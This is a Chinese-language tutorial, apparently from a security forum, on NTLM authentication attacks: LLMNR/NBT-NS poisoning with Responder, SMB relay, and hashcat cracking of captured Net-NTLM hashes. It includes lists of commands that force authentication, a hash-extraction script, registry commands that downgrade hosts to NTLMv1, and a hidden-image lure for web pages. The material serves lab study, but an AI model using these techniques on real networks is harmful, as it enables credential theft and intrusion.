NTLM认证相关攻击技巧(较全)
2020-11-27 11:18:11 Author: xz.aliyun.com(查看原文) 阅读量:524 收藏

    本篇主要介绍NTLM认证相关的攻击技巧。首先得说明一下NTLM协议是windows两大认证协议之一,在了解其攻击方法之前学习它的认证协议流程是非常有必要的!因此在文章开头会大致带大家把认证基础走一遍。再了解完认证协议之后,需要去了解一下LLMNR、NetBIOS协议。因为这两种协议是攻击的前提,有了它两才有了这种攻击技巧!

    此外SMB协议NET-NTLM v1\v2 也是我们需要去了解的,只有把这些弄懂后,你才能对相关原理大体弄懂!当然了,如果你是脚本小子不想去懂原理,那么在一些不顺利的场景下,你就完全就失去竞争的能力!

    在说完需要学习的前置知识之后,我来大体描述一下NTLM认证攻击和适用的场景!

大致的攻击流程(缺少认证细节)

    (1)SMB欺骗篇:有一个小仙女,她喜欢你们学校的0xxk。但是她记错了名字,记成了xxkk。她先翻了学校公示栏的学生信息表,发现找不到xxkk,然后就去学校领导办公室翻学生名册也找不到。这个时候她急了,就去学校广播站拿个大喇叭喊,问谁是xxkk。这个时候整个校园的人都听到了,然后你起了歹心。跑去和妹子说你是xxkk,这时候你伪造了一个定情信物112233给妹子。妹子再拿出她的定情信物qweqweqwe,和你的定情信物加密一下后返还给我。这个时候我就拿到了我自己和妹子双方信息加密后的凭证。此凭证只能用来破解出妹子的定情信物,这时候拿工具跑运气好就跑出明文密码了。

    (2)中继攻击篇:这个时候你知道了对方喜欢的是0xxk,但是记错了名字。因为他两从小青梅竹马,但搬家分开了十几年忘记了名字。这个时候拿0xxk的定情信物给小仙女去加密,加密后的凭证返还给0xxk。0xxk拿到后会进行对比,如果对比正确妹子就可以控制0xxk的心了!但是这里存在一个问题,只有拿0xxk本人的定情信物去加密才可以。这时候你就要跟0xxk说我是小仙女,要和你发起认证。0xxk就把加密密钥发给我了,随后我把密钥发给小仙女。小仙女拿到后加密自己凭证再发给我,这时候就拿到了0xxk和小仙女的信物加密凭证了,就可以尝试去控制0xxk了!

    使用场景:适合守株待兔,但是撞上来的不一定是小仙女,也可能是隔壁的追债大妈。

(1)NTLM认证过程与NET-NTLM v1\v2

    在这里会先客观的讲述一下NTLM的四个认证过程,再通过加域的win7安装wireshark来抓包展示。最后通过包中的 response 组合出 独属于NTLM认证的凭据Net-NTLM Hash。

    NTLM认证采用质询/应答(Challenge/Response) 的消息交互模式,流程如下:

        1.客户端向服务器发送一个请求,请求中包含明文的登陆用户名。在服务器中已经存储了登陆用户名和对应的密码hash

        2.服务器接收到请求后,NTLMv2协议下会生成一个16位的随机数(这个随机数称为Challenge),明文发送回客户端。使用存储的登录用户名密码hash加密Challenge,获得challenge1

        3.客户端接收到Challenge后,使用当前账户密码的hash(NTLM Hash)对Challenge加密,获得response,将response发送给服务器

        4.服务器接收到客户端加密后的response,比较response和Challenge,如果相同,验证成功


图片取自 https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA 侵删

    在上面这么多流程中,登录用户密码的hash就是NTLM Hashresponse是一个大集合里面包含Net-HTLM hash

    在2中我标注了是NTLMv2协议,因为在NTLM认证中有不同的协议。分别为NTLM v1,NTLM v2,NTLM session v2三种认证协议,不同协议使用不同格式的Challenge加密算法!既然存在不同协议,那么也就存在不同协议对应的加密hash! 分别是Net-NTLM v1 hashNet-NTLM v2 hash !

不同版本使用不同的认证协议:

    自Windows Vista/Server2008开始起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限。2008 win7 及以上都是用了v2协议。2000 xp使用v1协议认证。

红框中的四条数据就是NTML认证的四个步骤

在第二个数据包中,里面存放是域控发给我们的challenge

NTLM Server Challenge: c1eac186d6edb142

查看第三个数据包,获得Response(里面包含NTMLv2)

触发NTLM认证的命令,这里大多数用的SMB通信协议

net.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe * \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the  contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!* writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo

(2)LLMNR协议、NetBIOS协议

在这里介绍LLMNR和NetBIOS协议,主要是为了后面的SMB中继欺骗做知识铺垫!

LLMNR协议

    链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

LLMNR的工作过程

    当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称。如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求。如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。

    使用链路本地多播名称解析时,主机会通过UDP向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到到请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。

那么哪种查询是通过LLMNR呢?

net use \\asdasd

这种解析不了走的是LLMNR协议

NetBIOS协议

    网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中互相连线以及分享数据。严格来说,Neibios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相对应的IP地址。

    几乎都是所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的表示名称,主要用于局域网内计算机的互相访问。NetBIOS的工作流程就是正常机器名解析查询应答过程。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装TCP\IP协议会自动安装NetBIOS。

Windows系统名称解析顺序

1.本地hosts文件( %windir%\System32\drivers\etc\hosts )
2.DNS缓存/DNS服务器
3.链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

    其实就是本地文件里解析不了,DNS也解析不了,那么就开始使用下面两种协议了。其实大部分人使用本地hosts文件都不会修改,很多都是用的DNS服务器。

参考链接:

https://www.beichengjiu.com/mathematics/178431.html
https://www.freebuf.com/articles/network/243530.html

(3)SMB认证过程

知识简介

    SMB(全称是Server Message Block)是一个协议名,可用于在计算机间共享文件、打印机、串口等,网上的网上另据就是靠它实现的。

    它是一个很重要的协议,目前大多数的PC上都在运行这一协议,windows系统都充当着SMB协议的客户端和服务器,所以SMB是一个遵循客户机服务器模式的协议。

    它基于TCP-NETBIOS下的,一般端口使用为139,445。其中,使用计算机名访问时,SMB服务工作在NetBIOS协议之上,用的是TCP的139端口;使用IP地址访问时,用的是TCP的445端口。

工作原理

01 首先客户端发送一个SMB negotiate protocol request请求数据包,并列出它所支持的所有SMB协议版本
0x0202   SMB 2.002
0x0210   SMB 2.10
0x0300   SMB 3.0
0x0302   SMB 3.02
0x0311   SMB 3.11

02 通过Response包可以看到,希望服务器使用的版本

03 当协议确定后,客户端进程向服务器发器一个用户或共享的认证,这个过程是通过发送session setup request请求数据报实现的。这里就是SMB中的安全认证部分。

参考链接:

https://zhuanlan.zhihu.com/p/271699730

SMB与安全认证协议的关系

    早期SMB协议在网络上传输铭文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至于很容易被破解。因此微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及新的认证体系Kerberos验证。

    不管是LM、NTLM、Kerberos安全验证,都是在SMB确定使用什么版本之后执行的。如果做一个形象的比喻,就是你选择了SMB这个通信协议去送货。但是在送货过程中你的货物如果不加密,那么就会被人窃取。因此就有了这三种安全验证协议!

    在很多教程中都使用了Responder这个工具来进行演示,因为Responder是一款较为成熟的linux平台SMB欺骗中继工具。它可以运行在py2或者py3上面,且无需安装其他额外的库。

    py2的版本需要使用py2.7.15+,不然会出现如下错误

AttributeError: 'module' object has no attribute 'check_output'

    在这里笔者会使用GitHub上,原生未修改过的Responder V3.0.2.0 + py3.7.3 +kali来进行演示。

工具下载链接:

https://github.com/lgandx/Responder/releases/tag/v3.0.2.0

    在文章中使用中间人代表进行监听欺骗的Kali

1.SMB欺骗获取凭证

测试环境:

工作组:

    中间人 :192.168.20.131 kali

    打工人A机器:192.168.20.1 2008

    首先在中间人上面打开Responder进行监听

python3 Responder.py -I eth0

    在打工人A机器CMD框内输入不能被解析的路径asdasdasd

net use \\asdasdasd

    可以看到在输入命令之后,我们的Kali监听到了来自2008机器administrator的NTLM v2 凭证。这个v2凭证不能用来PTH,但是可以通过这个配合字典来破解出administrator的明文密码。此凭证放在logs文件夹中和Responder.db中。

可以通过hashcat 来进行破解

域机器:

    中间人:192.168.20.131 kali

    域用户bjtest机器:192.168.20.3 2008

    在这里其实表现形式和工作组的大差不大,就是用户名和登录域变成了所在域内信息!

    同样的在中间人上面打开Responder进行监听

    在域用户bjtest机器上执行如下命令

net use \\asdasdasd

    这时候在中间人机器上已经成功抓取到了来自192.168.20.3 BJtest用户的v2凭证,并且会把凭证放在logs文件夹中和Responder.db中。

    同样的拿着这些数据去进行破解!

    在这里不论是工作组的凭证获取还是域用户的凭证获取,只要当Responder重复获取到同一个用户时不会再显示。我们可以去对应文件中查看!

    这里是最简单的步骤,仅仅获取一个NTLM v2数据。因为我之前提到的2008及以上版本使用的是v2认证,所以这里没有演示v1。v1和v2一样都可以破解,只是v1多了一个还原NTLM Hash的效果。这里放在下面的议题中去描述!

2.NTLM中继攻击

    NTLM中继攻击就相当于我们的中间人做一个中转,就可以拿到被欺骗机器传过来的Hash结合被攻击对象Challenge,从而尝试拿下被攻击的目标。但是这里和PTH很相似,对于工作组而言,需要sid为500用户的hash。也就是被欺骗主机是sid 500的用户发起的请求,且密码与被攻击主机sid500 账户密码相同。对于域用户而言,需要域管理员组的用户发起请求才行。


图片取自https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA 侵删

    在这里需要注意的是,被攻击机器不能开启SMB签名。默认不是开启的,但是在域中域控是默认开启的。所以在域中通常就是中继管理组成员到一些敏感的机器上。在某些帖子中说开放共享权限的账号,能够实现中继。这是错误的,经过实验只能管理用户!

(1)中继前信息搜集

    当我们想尝试NTLM中继时,第一时间要做的是检查对方是否有开始SMB签名!默认不开启,但是域控默认开启!在这里可以用Responder配套的RunFinger.py脚本来进行扫描(NMAP也可以),RunFinger.py在Responder中的tools文件夹中就有。

(2)M中继过程

    这里使用Responder配套脚本tools目录下的MultiRelay.py脚本测试中继效果!

工作组:

    中间人:192.168.60.131 kali

    打工人A机器:192.168.60.141 win7

    管理层B机器:192.168.60.5 2008

    因为工作组的登陆凭证都是存放在机器本地的,所以在这里将A机器和B机器的sid 500 账户 administrator密码都改为QWE123!@# 。且创建一个普通Ktester账户 密码都为QWE123!@# 。在这里对比不同权限账户密码相同时是否可以中继!在这里使用访问共享的形式来检测SMB第一次带过去的账号密码是否能正常登录共享目录,再去检测是否能中继!中继和共享登录是两回事!

administrator账户

    在管理层B机器上面设置共享文档administrator,设置共享后默认用户为administrator

    首先A机器去访问B机器的共享,发现是不需要密码的。但是这里有一点AB机器改完密码后需要重启一下更新下内存中的密码Hash。

    这时候再去中继测试,在这里要设置Responder.conf中红框参数为OFF。

    使用A机器访问一个不存在目标asdasdasd,这个时候发现拿到中继的SHELL了!

普通Ktester账户

    当前机器未加入域中

    全部重新启动登录Dtester账户,在B上以Dtester账户创建共享目录Dtester。且共享人为本地普通账户Dtester!在这里低权限共享需要本地管理员权限开启共享!

    在这里开始使用A机器(当前用户Dtester)去访问此共享,工具理论这里实验成功。

    接下来就是测试低权限共享账号是否能中继拿shell

    经过测试发现低权限的可访问对应共享的账号并不能中继成功,失败的意思大致就是账户权限低被拒绝。可见能够访问共享但是不一定能中继拿SHELL!

    那么在工作组中到底什么权限肯定能够中继拿shell成功呢?在这里已经确定administrator是可以的,那么administrator组的用户呢?

    在AB上分别创建TT账户,密码为QWE123!@#。A上TT账户是普通权限,B上TT是管理组权限。在这里测试是否能够中继成功!

    AB加上普通账户后开启共享,测试完能够直接访问共享。

    将B中的TT加入管理员组

    在这里进行中继测试,发现并不行

    那么在这里将A中的TT加入管理员组呢?

    发现这样中继也还是不行!

    命令提示还是权限不够

工作组中继总结

    我们只能够中继sid 500 administrator账户,成功的条件是被欺骗机器的administrator密码和被攻击主机的administrator密码相同!

域:

    中间人:192.168.60.131 kali

    打工人A机器:192.168.60.141 win7

    管理层B机器:192.168.60.5 2008

域普通Htester账户

    在这里首先将AB两台机器都加入Hacke.testlab域环境!且创建两个域内普通权限账号 HONE HTWO!

    环境弄好之后,首先在B上面以HTWO用户创建一个共享文件夹!

    在域中和工作组中是不一样的,域内的NTLM认证数据会从域控那里获取。且这里访问共享也是从域数据库找的,域内普通用户互相访问是不需要密码认证的!

    那么这样是否就代表域普通用户可以中继到域普通账户登录的机器呢?经过测试也不行的!

    这里错误的还是账户权限较低!

    那么这里将我们A机器的HONE账户加入Domain Admins 组去试试

    在这里开启监听,发现这样是可以的!

域管理账户:

    中继到域控NET-NTLM HASH的情况就不用说了,除了开了SMB签名的。看谁谁怀孕,效果和PTH一样!

域中继总结

    当我们中继域控或者域管理员组的成员的NET-NTLM Hash 时是可以进行中继攻击的,这里和工作组不一样!

(3).使用ntlmrelayx.py结合empire统一化管理

    empire类似msf后渗透神器,这样你们就懂了。就是empire生成木马,然后由ntlmrelayx.py中继拿shell后执行e的木马然后上线。这里不写,因为它需要安装依赖。
参考链接:
https://www.secpulse.com/archives/73766.html

(4).smbrelayx

    在这里还可以使用 smbrelayx.py ,但是需要安装依赖。因此不实验!

参考链接:
https://blog.csdn.net/whatday/article/details/107698383

常规流程总结:

    就是碰运气,碰到权限高的就直接拿下低权限机器。但是这里需要你知道我上述所说的那些中继总结,哪些权限的账号能够中继低权限账号。一开始在信息搜集完后,如果没有任何进展。可以冒险的尝试欺骗域控机器,中继拿下一些关键服务器什么的。实在不行了再全部监听,下下之策。

    在这里带大家手工实验获取组合一遍NET NTLM Hash,这样可以帮助你更好的理解!

V2

实验环境:

    域主机(win7)192.168.60.3

    域控 192.168.60.1

pass:当域控多次恢复快照之后会出现问题,导致无法加进新的机器。且wireshark3.0版本安装出现复杂问题,直接win7加入域后,通过域账号登陆安装2.x版本即可。

红框中的四条数据就是NTML认证的四个步骤

在第二个数据包中,里面存放是域控发给我们的challenge

NTLM Server Challenge: c1eac186d6edb142

查看第三个数据包,获得Response(里面包含NTMLv2)

7b:6d:10:47:eb:a9:92:f3:d6:25:b8:d1:b0:de:d7:8e:01:01:00:00:00:00:00:00:22:e9:2d:e1:7b:b6:d6:01:98:04:8b:66:53:d5:92:6e:00:00:00:00:02:00:0a:00:48:00:41:00:43:00:4b:00:45:00:01:00:1e:00:57:00:49:00:4e:00:2d:00:51:00:32:00:4a:00:52:00:34:00:4d:00:55:00:52:00:47:00:53:00:30:00:04:00:1a:00:68:00:61:00:63:00:6b:00:65:00:2e:00:74:00:65:00:73:00:74:00:6c:00:61:00:62:00:03:00:3a:00:57:00:49:00:4e:00:2d:00:51:00:32:00:4a:00:52:00:34:00:4d:00:55:00:52:00:47:00:53:00:30:00:2e:00:68:00:61:00:63:00:6b:00:65:00:2e:00:74:00:65:00:73:00:74:00:6c:00:61:00:62:00:05:00:1a:00:68:00:61:00:63:00:6b:00:65:00:2e:00:74:00:65:00:73:00:74:00:6c:00:61:00:62:00:07:00:08:00:22:e9:2d:e1:7b:b6:d6:01:06:00:04:00:02:00:00:00:08:00:30:00:30:00:00:00:00:00:00:00:00:00:00:00:00:20:00:00:9e:1a:4c:16:24:4c:80:f3:c2:97:fc:21:0c:10:30:2a:a0:a7:4e:ab:23:7b:80:64:50:d2:4e:fb:53:86:ce:a3:0a:00:10:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:09:00:22:00:63:00:69:00:66:00:73:00:2f:00:31:00:39:00:32:00:2e:00:31:00:36:00:38:00:2e:00:36:00:30:00:2e:00:31:00:00:00:00:00:00:00:00:00:00:00:00:00

破解NTMLv2需要的格式为:

username::domain:challenge:HMAC-MD5:blob

username 为第三个数据包最后面的用户名

admin

domain 是用户名前面的

HACKE

challenge为第二个包中NTML Server Challenge

c1eac186d6edb142

HMAC-MD5对应第三个数据包中的NTProofStr

NTProofStr: 7b6d1047eba992f3d625b8d1b0ded78e

blob对应第三个数据包中Response去掉NTProofStr的后半部分

010100000000000022e92de17bb6d60198048b6653d5926e0000000002000a004800410043004b00450001001e00570049004e002d00510032004a00520034004d005500520047005300300004001a006800610063006b0065002e0074006500730074006c006100620003003a00570049004e002d00510032004a00520034004d00550052004700530030002e006800610063006b0065002e0074006500730074006c006100620005001a006800610063006b0065002e0074006500730074006c00610062000700080022e92de17bb6d601060004000200000008003000300000000000000000000000002000009e1a4c16244c80f3c297fc210c10302aa0a74eab237b806450d24efb5386cea30a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00360030002e003100000000000000000000000000

因此,完整的NTMLv2数据如下:

admin::HACKE:c1eac186d6edb142:7b6d1047eba992f3d625b8d1b0ded78e:010100000000000022e92de17bb6d60198048b6653d5926e0000000002000a004800410043004b00450001001e00570049004e002d00510032004a00520034004d005500520047005300300004001a006800610063006b0065002e0074006500730074006c006100620003003a00570049004e002d00510032004a00520034004d00550052004700530030002e006800610063006b0065002e0074006500730074006c006100620005001a006800610063006b0065002e0074006500730074006c00610062000700080022e92de17bb6d601060004000200000008003000300000000000000000000000002000009e1a4c16244c80f3c297fc210c10302aa0a74eab237b806450d24efb5386cea30a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00360030002e003100000000000000000000000000

Hashcat参数如下:

hashcat -m 5600 admin::HACKE:c1eac186d6edb142:7b6d1047eba992f3d625b8d1b0ded78e:010100000000000022e92de17bb6d60198048b6653d5926e0000000002000a004800410043004b00450001001e00570049004e002d00510032004a00520034004d005500520047005300300004001a006800610063006b0065002e0074006500730074006c006100620003003a00570049004e002d00510032004a00520034004d00550052004700530030002e006800610063006b0065002e0074006500730074006c006100620005001a006800610063006b0065002e0074006500730074006c00610062000700080022e92de17bb6d601060004000200000008003000300000000000000000000000002000009e1a4c16244c80f3c297fc210c10302aa0a74eab237b806450d24efb5386cea30a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00360030002e003100000000000000000000000000 /tmp/password.list -o found.txt --force

说明:
-m: hash-type,5600对应NetNTMLv2
-o:输出文件
字典文件路径 /tmp/password.list
--force 代表强制执行

在这里使用wilsonlee1 师傅的原生脚本修改而成!

使用过程:

    这里需要在wireshark中另存为保存成pcap格式,脚本中对应的名字为ntlm.pcap,将它和脚本放在同一个文件夹下。
安装 pip install scapy-http

#!/usr/bin/env python2.7
import re
try:
      import scapy.all as scapy
except ImportError:
      import scapy

try:
    # This import works from the project directory
      import scapy_http.http
except ImportError:
    # If you installed this package via pip, you just need to execute this
      from scapy.layers import http

packets = scapy.rdpcap('NTLM_2.pcap')
Num = 1
for p in range(len(packets)):

      try:
            if packets[p]['TCP'].dport ==445:

                  TCPPayload = packets[p]['Raw'].load

                  if TCPPayload.find('NTLMSSP') != -1:
                        if len(TCPPayload) > 500:

                              print ("----------------------------------Hashcat NTLMv2  No.%s----------------------------------"%(Num))
                              Num = Num+1
                              print ("PacketNum: %d"%(p+1))
                              print ("src: %s"%(packets[p]['IP'].src))
                              print ("dst: %s"%(packets[p]['IP'].dst))
                              Flag = TCPPayload.find('NTLMSSP')

                              ServerTCPPayload = packets[p-1]['Raw'].load

                              ServerFlag = ServerTCPPayload.find('NTLMSSP')
                              ServerChallenge =  ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")
                              print ("ServerChallenge: %s"%(ServerChallenge))


                              DomainLength1 =  int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
                              DomainLength2 =  int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             
                              DomainLength = DomainLength1 + DomainLength2
                              #print DomainLength
                              DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]
                              DomainName = [DomainNameUnicode[i] for i in  range(len(DomainNameUnicode)) if i%2==0]
                              DomainName = ''.join(DomainName)
                              print ("DomainName: %s"%(DomainName))
                              UserNameLength1 =  int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)
                              UserNameLength2 =  int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256                             
                              UserNameLength = UserNameLength1 + UserNameLength2
                              #print UserNameLength
                              UserNameUnicode =  TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]
                              UserName = [UserNameUnicode[i] for i in  range(len(UserNameUnicode)) if i%2==0]
                              UserName = ''.join(UserName)
                              print ("UserName: %s"%(UserName))

                              NTLMResPonseLength1 =  int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)
                              NTLMResPonseLength2 =  int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256
                              NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2                             
                              # print NTLMResPonseLength
                              NTLMResPonse =  TCPPayload[Flag+140:Flag+140+NTLMResPonseLength].encode("hex")


                              NTLMZONG = packets[p]['Raw'].load.encode("hex")
                              # print NTLMZONG
                              NTLM_FINDALL =  re.findall('3.00000000000000000000000000000000000000000000000000(.*)',NTLMZONG)
                              # print NTLM_FINDALL
                              #print NTLMResPonse
                              print "Hashcat NTLMv2:"
                              print  ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLM_FINDALL[0][:32],NTLM_FINDALL[0][32:632]))
                              # print(NTLMResPonse)

      except:
            pass

最后使用命令爆破

hashcat -m 5600 xxxxxxx password.list -o found.txt --force

成功的话只能爆破一次,第二次会显示这个

如果密码本没有对应密码,失败后不会和上面一样无法再次爆破!

    这里的脚本参考至https://xz.aliyun.com/t/1945,但是作者里面的脚本写错了。 HMAC-MD5和blobb 不为固定值,笔者在这里的修改方法是正则3.00000000000000000000000000000000000000000000000000(.*) 后取相应的位数取出才正确。如各位实验时发现我的脚本不能输出后面部分的数据,那代表着正则失败。各位可以自行修改,提示这么清楚了不应该不会修改。在校验正确部分,笔者使用了win12 win2008 win7进行多次访问皆成功。

脚本已附件上传

V1部分

hashcat -m 5500 admin::HACKE:45B00867AA7E390300000000000000000000000000000000:B8B6EE531C6AE9263284299933C2884E6F947264C023F1F9:e457a0455bb5bcaf password.list -o found.txt --force

    此模块主要处理监听工具大部分在linux运行的问题,大家可能进内网的跳板的是server系列的。或者域内拿下的是win的主机,这个时候就没法使用Responder.py了。别看是py,但是某些模块只有linux上能跑。

    网上绝大多数教程全是用的kali去演示,很容易让新手陷入一种使用kali远程日人家内网的迷惑感,结果实战一搞发现win不能用 linux py版本有问题。

因每个人的测试环境不同,所以我测试执行与否可能与你的相差甚大。请学习后主动动手实践!

1.Responder.exe

    笔者在测试这款工具时使用了win7 2008 2012 ,但是无法看到欺骗成功的Net NTLM Hash 。

    下载链接如下:

https://github.com/lgandx/Responder-Windows
https://github.com/HamzaKHIATE/Toolbox/tree/master/Responder

2.powershell版本的 Inveigh

导入命令

Get-ExecutionPolicy
Set-ExecutionPolicy Unrestricted
Import-Module .\Inveigh.psd1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

win7

win2012 win2008无法获取到

文章参考地址

https://www.anquanke.com/post/id/83671
https://blog.netspi.com/inveigh-whats-new-in-version-1-4/

下载地址

https://github.com/Kevin-Robertson/Inveigh

3.c#版本的 Inveigh

此版本需要下载编译!

    适用版本为.net 3.5 ,但是在笔者编译测试后发现只能在win7上运行抓取成功,且没过多久就崩溃了。也可能是笔者编译环境的问题所致,总之大家要手动去尝试下!

下载地址

https://github.com/Kevin-Robertson/InveighZero

4.端口反代转发,由外网去监听

    linux中的Responder.py只能监听本网段的IP,且它是被动监听,和我们流量代理进行是不一样的。这种方法大家可以实践一下,就是实现起来很麻烦,且需要对应dll。最后笔者安装完dll,程序跑起来后没有收到回来的流量就搁浅了。在这里说一下各种坑,大家避开可以更快的实验!

    DivertTCPconn-master 转发工具使用过程中出现问题,缺少dll。缺失的dll可以在物理机中寻找对应版本,然后复制到system32下。安装完缺失的dll后需要安装vc_redist.x64.exe。

https://download.microsoft.com/download/9/3/F/93FCF1E7-E6A4-478B-96E7-D4B285925B00/vc_redist.x64.exe
https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
https://github.com/lzb960827/DivertTCPconn

参考文章

https://www.freebuf.com/articles/system/183700.html

    在这里描述几种其他的玩法,让你更快的通过NTLM欺骗获取权限!

1.NTLM v1 还原NTLM hash

    从头认真开始读的朋友肯定知道下面是哪种协议的hash值

    在开头我就说了v1、v2都可以用来破解。但是v1因为安全性不高可以还原出NTLM HASH 用来PTH攻击。但是v1从2008及以上就无了,只有2003这种才有。但是没准你就碰到2003机器的v1了呢。

    拿到上述图中的代码后,你可以按照下面那个格式填写

NTHASH:LM Hash
NTHASH:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a

在如下网站中填入邮箱地址,很快就会收到net v1的NTLM hash

https://crack.sh/get-cracking/

且这个v1和我们在实验机(win7)上mimikatz跑出来的一模一样

2.将系统的v2修改成v1

条件:需要高权限账户去修改注册表,配合后门使用。
(1)一条命令临时修改

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f

适用:2008、2012、win7

(2)这种方法亦可,区别在于确保Net-NTLMv1开启成功

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

参考链接:

https://xz.aliyun.com/t/2205#toc-4

3.使用工具获取被控机器的ntlm v1 or v2

介绍:InternalMonologue,如果权限不够那么获取的是当前用户的ntlm v2。获取v1/v2后进行对应的破解。而不需要通过监听局域网去获取,但存在免杀问题!
场景:(1)不存在免杀(2)低权限账户获取v2来破解(高权限直接mimikatz) (3)存在.net 3.5(包括.NET 2.0和3.0)

2008

win7

下载链接:

https://github.com/eladshamir/Internal-Monologue

参考文章:

https://xz.aliyun.com/t/2205#toc-4

4.使用浏览器欺骗访问

    在很多的文章中,都写到使用如下的方式去访问SMB。这种类似于xss,我们在拿下域中某台web机器后加入此代码。那么访问这个页面的每一个用户都会广播发起一次NTLM认证!具体原理上面都讲了!

<img src="\\xxxxxxx\xxxx" hidden="true"/>

    这个方法很好,但是经过测试chrome,firefox不能这样做。只有IE、Edge可以!

    此外大家还可以看一下360实验室的文章,他们写的内网协议系列非常不错!

https://www.anquanke.com/post/id/193493#h2-6

    此部分文章以作为单独模块发至先知,因文章完整性纳入部分标题。如需阅读,请转至配置文件重定向获取NTLM v1\2 Hash

1.前言
2.简介
3.scf文件介绍
4.增加scf文件强制用户访问伪造的文件服务器
5.增加scf文件强制访问未知目标
6.增加scf文件当作本机后门
7.scf文件总结
8.修改文件夹图标简介
9.修改文件夹图标强制访问(后门篇)
10.修改文件夹图标强制访问(获取认证用户HASH篇)
11.利用图标文件获取NTLM v1\v2 Hash 总结
12.防御思路
13.配置文件重定向获取NTLM v1\v2 Hash总结

    此部分文章以作为单独模块发至先知,因文章完整性纳入部分标题。如需阅读,请转至监听445端口抓v2数据

1.前言
2.简介
3.解决思路
4.windows平台自带网络抓包方法
5.转换成.cap后缀文件
6.通过脚本去筛选文件
7.破解NTLM v2

    其实还有很多NTLM的cve漏洞,这些都可以放在这里一起统一学习,这样吸收的很快。360实验室有篇文章写的很好,在这里附上链接

https://www.anquanke.com/member/143805

    愿读者看完之后,能带着思考去实验一遍。我相信这些全部弄懂,肯定能弥补你内网中一块不曾相识的短板。

